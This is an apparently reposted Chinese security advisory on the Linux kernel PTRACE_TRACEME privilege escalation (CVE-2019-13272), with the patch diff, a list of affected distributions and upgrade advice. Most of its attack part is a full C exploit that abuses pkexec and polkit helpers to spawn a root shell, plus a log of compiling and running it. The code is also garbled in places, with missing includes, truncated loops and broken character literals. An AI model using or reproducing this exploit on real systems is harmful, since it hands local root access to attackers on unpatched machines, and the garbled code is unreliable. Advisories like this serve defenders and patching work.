linux 内核 expr6,漏洞预警|Linux内核本地提权漏洞分析(CVE-2019-13272)

f41bdb6663699e6df883bd8b50b0f0a9.png

漏洞描述

近日,HSCERT监测发现Linux修复了一个本地内核提权漏洞,利用此漏洞,攻击者可将普通用户权限提升为Root权限。

HSCERT研判此漏洞为严重漏洞,攻击者拿到本地权限可以直接提权至root。

漏洞分析

当调用PTRACE_TRACEME时,ptrace_link()将获得对父级目标凭据的RCU引用,然后把该指针指向get_cred()函数。但是,对象struct cred的生存周期不允许无条件地将RCU引用转换为一个长期稳定的引用。

PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。

但是,如果是恶意的没有特权的子进程使用PTRACE_TRACEME,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程,可以使用ptrace suid文件并获取root权限。

下面是补丁对比代码,通过一直记录进程的凭据可以修复这个漏洞:@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct * child,struct task_struct * new_parent, * /static  void  ptrace_link(struct task_struct * child,struct task_struct * new_parent){  -  rcu_read_lock();  -  __ptrace_link(child,new_parent,__ task_cred(new_parent));  -  rcu_read_unlock();  +  __ptrace_link(child,new_parent,current_cred());}/ * *

验证poc如下,可用于自检:#define _GNU_SOURCE#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEBUG#ifdef DEBUG#  define dprintf printf#else#  define dprintf#endif#define SAFE(expr) ({                   \  typeof(expr) __res = (expr);          \  if (__res == -1) {                    \    dprintf("[-] Error: %s\n", #expr);  \    return 0;                           \  }                                     \  __res;                                \})#define max(a,b) ((a)>(b) ? (a) : (b))static const char *SHELL = "/bin/bash";static int middle_success = 1;static int block_pipe[2];static int self_fd = -1;static int dummy_status;static const char *helper_path;static const char *pkexec_path = "/usr/bin/pkexec";static const char *pkaction_path = "/usr/bin/pkaction";struct stat st;const char *helpers[1024];const char *known_helpers[] = {  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",  "/usr/lib/unity-settings-daemon/usd-backlight-helper",  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",  "/usr/sbin/mate-power-backlight-helper",  "/usr/bin/xfpm-power-backlight-helper",  "/usr/bin/lxqt-backlight_backend",  "/usr/libexec/gsd-wacom-led-helper",  "/usr/libexec/gsd-wacom-oled-helper",  "/usr/libexec/gsd-backlight-helper",  "/usr/lib/gsd-backlight-helper",  "/usr/lib/gsd-wacom-led-helper",  "/usr/lib/gsd-wacom-oled-helper",};/* temporary printf; returned pointer is valid until next tprintf */static char *tprintf(char *fmt, ...) {  static char buf[10000];  va_list ap;  va_start(ap, fmt);  vsprintf(buf, fmt, ap);  va_end(ap);  return buf;}/* * fork, execute pkexec in parent, force parent to trace our child process, * execute suid executable (pkexec) in child. */static int middle_main(void *dummy) {  prctl(PR_SET_PDEATHSIG, SIGKILL);  pid_t middle = getpid();  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));  pid_t child = SAFE(fork());  if (child == 0) {    prctl(PR_SET_PDEATHSIG, SIGKILL);    SAFE(dup2(self_fd, 42));    /* spin until our parent becomes privileged (have to be fast here) */    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());    while (1) {      char buf[1000];      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));      buf[buflen] = "\0";      if (strstr(buf, needle)) break;    }    /*     * this is where the bug is triggered.     * while our parent is in the middle of pkexec, we force it to become our     * tracer, with pkexec"s creds as ptracer_cred.     */    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));    /*     * now we execute a suid executable (pkexec).     * Because the ptrace relationship is considered to be privileged,     * this is a proper suid execution despite the attached tracer,     * not a degraded one.     * at the end of execve(), this process receives a SIGTRAP from ptrace.     */    execl(pkexec_path, basename(pkexec_path), NULL);    dprintf("[-] execl: Executing suid executable failed");    exit(EXIT_FAILURE);  }  SAFE(dup2(self_fd, 0));  SAFE(dup2(block_pipe[1], 1));  /* execute pkexec as current user */  struct passwd *pw = getpwuid(getuid());  if (pw == NULL) {    dprintf("[-] getpwuid: Failed to retrieve username");    exit(EXIT_FAILURE);  }  middle_success = 1;  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,        helper_path,        "--help", NULL);  middle_success = 0;  dprintf("[-] execl: Executing pkexec failed");  exit(EXIT_FAILURE);}/* ptrace pid and wait for signal */static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {  struct user_regs_struct regs;  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));  SAFE(waitpid(pid, &dummy_status, 0));  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));  /* set up indirect arguments */  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;  struct injected_page {    unsigned long argv[2];    unsigned long envv[1];    char arg0[8];    char path[1];  } ipage = {    .argv = { scratch_area + offsetof(struct injected_page, arg0) }  };  strcpy(ipage.arg0, arg0);  for (int i = 0; i  long *)&ipage)[i];    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),                (void*)pdata));  }  /* execveat(exec_fd, path, argv, envv, flags) */  regs.orig_rax = __NR_execveat;  regs.rdi = exec_fd;  regs.rsi = scratch_area + offsetof(struct injected_page, path);  regs.rdx = scratch_area + offsetof(struct injected_page, argv);  regs.r10 = scratch_area + offsetof(struct injected_page, envv);  regs.r8 = AT_EMPTY_PATH;  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));  SAFE(waitpid(pid, &dummy_status, 0));}static int middle_stage2(void) {  /* our child is hanging in signal delivery from execve()"s SIGTRAP */  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));  force_exec_and_wait(child, 42, "stage3");  return 0;}// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *static int spawn_shell(void) {  SAFE(setresgid(0, 0, 0));  SAFE(setresuid(0, 0, 0));  execlp(SHELL, basename(SHELL), NULL);  dprintf("[-] execlp: Executing shell %s failed", SHELL);  exit(EXIT_FAILURE);}// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *static int check_env(void) {  const char* xdg_session = getenv("XDG_SESSION_ID");  dprintf("[.] Checking environment ...\n");  if (stat(pkexec_path, &st) != 0) {    dprintf("[-] Could not find pkexec executable at %s", pkexec_path);    exit(EXIT_FAILURE);  }  if (stat(pkaction_path, &st) != 0) {    dprintf("[-] Could not find pkaction executable at %s", pkaction_path);    exit(EXIT_FAILURE);  }  if (xdg_session == NULL) {    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");    return 1;  }  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {    dprintf("[!] Warning: Could not find active PolKit agent\n");    return 1;  }  if (stat("/usr/sbin/getsebool", &st) == 0) {    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");      return 1;    }  }  dprintf("[~] Done, looks good\n");  return 0;}/* * Use pkaction to search PolKit policy actions for viable helper executables. * Check each action for allow_active=yes, extract the associated helper path, * and check the helper path exists. */int find_helpers() {  char cmd[1024];  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);  FILE *fp;  fp = popen(cmd, "r");  if (fp == NULL) {    dprintf("[-] Failed to run: %s\n", cmd);    exit(EXIT_FAILURE);  }  char line[1024];  char buffer[2048];  int helper_index = 0;  int useful_action = 0;  static const char *needle = "org.freedesktop.policykit.exec.path -> ";  int needle_length = strlen(needle);  while (fgets(line, sizeof(line)-1, fp) != NULL) {    /* check the action uses allow_active=yes*/    if (strstr(line, "implicit active:")) {      if (strstr(line, "yes")) {        useful_action = 1;      }      continue;    }    if (useful_action == 0)      continue;    useful_action = 0;    /* extract the helper path */    int length = strlen(line);    char* found = memmem(&line[0], length, needle, needle_length);    if (found == NULL)      continue;    memset(buffer, 0, sizeof(buffer));    for (int i = 0; found[needle_length + i] != "\n"; i++) {      if (i >= sizeof(buffer)-1)        continue;      buffer[i] = found[needle_length + i];    }    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||      strstr(&buffer[0], "/cpugovctl") != 0 ||      strstr(&buffer[0], "/package-system-locked") != 0 ||      strstr(&buffer[0], "/cddistupgrader") != 0) {      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);      continue;    }    /* check the path exists */    if (stat(&buffer[0], &st) != 0)      continue;    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));    helper_index++;    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))      break;  }  pclose(fp);  return 0;}// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *int ptrace_traceme_root() {  dprintf("[.] Using helper: %s\n", helper_path);  /*   * set up a pipe such that the next write to it will block: packet mode,   * limited to one packet   */  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));  char dummy = 0;  SAFE(write(block_pipe[1], &dummy, 1));  /* spawn pkexec in a child, and continue here once our child is in execve() */  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);  static char middle_stack[1024*1024];  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));  if (!middle_success) return 1;  /*   * wait for our child to go through both execve() calls (first pkexec, then   * the executable permitted by polkit policy).   */  while (1) {    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);    char buf[16];    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));    buf[buflen] = "\0";    *strchrnul(buf, "\n") = "\0";    if (strncmp(buf, basename(helper_path), 15) == 0)      break;    usleep(100000);  }  /*   * our child should have gone through both the privileged execve() and the   * following execve() here   */  dprintf("[.] Tracing midpid ...\n");  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));  SAFE(waitpid(midpid, &dummy_status, 0));  dprintf("[~] Attached to midpid\n");  force_exec_and_wait(midpid, 0, "stage2");  exit(EXIT_SUCCESS);}int main(int argc, char **argv) {  if (strcmp(argv[0], "stage2") == 0)    return middle_stage2();  if (strcmp(argv[0], "stage3") == 0)    return spawn_shell();  dprintf("Linux 4.10  1 && strcmp(argv[1], "check") == 0) {    exit(0);  }  /* Search for known helpers defined in "known_helpers" array */  dprintf("[.] Searching for known helpers ...\n");  for (int i=0; i

漏洞复现:╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ iduid=1000(birdpwn) gid=1000(birdpwn) groups=1000(birdpwn)╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ gcc -s poc.c -o ptrace_traceme_root                                     1 ↵╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ ls                                 poc.c  ptrace_traceme_root╭─birdpwn@ubuntu ~/CVE-2019-13272 ╰─$ ./ptrace_traceme_rootLinux 4.10 

50ad5a7c85e97ab11441aba97c132e1c.png

漏洞危害

严重

影响版本

目前受影响的Linux内核版本:

Linux Kernel < 5.1.17

以下产品均受到影响:

Ubuntu 16.04.5 kernel 4.15.0-29-generic

Ubuntu 18.04.1 kernel 4.15.0-20-generic

Ubuntu 19.04 kernel 5.0.0-15-generic

Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic

Linux Mint 19 kernel 4.15.0-20-generic

Xubuntu 16.04.4 kernel 4.13.0-36-generic

ElementaryOS 0.4.1 4.8.0-52-generic

Backbox 6 kernel 4.18.0-21-generic

Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64

Kali kernel 4.19.0-kali5-amd64

Redcore 1806 (LXQT) kernel 4.16.16-redcore

MX 18.3 kernel 4.19.37-2~mx17+1

RHEL 8.0 kernel 4.18.0-80.el8.x86_64

Debian 9.4.0 kernel 4.9.0-6-amd64

Debian 10.0.0 kernel 4.19.0-5-amd64

Devuan 2.0.0 kernel 4.9.0-6-amd64

SparkyLinux 5.8 kernel 4.19.0-5-amd64

Fedora Workstation 30 kernel 5.0.9.x86_64

Manjaro 18.0.3 kernel 4.19.23-1-MANJARO

Mageia 6 kernel 4.9.35-desktop-1.mga6

Antergos 18.7 kernel 4.17.6-1-ARCH

安全建议

请尽快升级Linux内核至5.1.17以上版本

补丁链接:

https://github.com/torvalds/linux/commit/6994eefb0053799d2e07cd140df6c2ea106c41ee

参考信息

https://github.com/rapid7/metasploit-framework/issues/12104

https://security-tracker.debian.org/tracker/CVE-2019-13272

https://twitter.com/hashtag/0day

https://access.redhat.com/security/cve/cve-2019-13272

如需帮助请咨询 hscert@hillstonenet.com

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值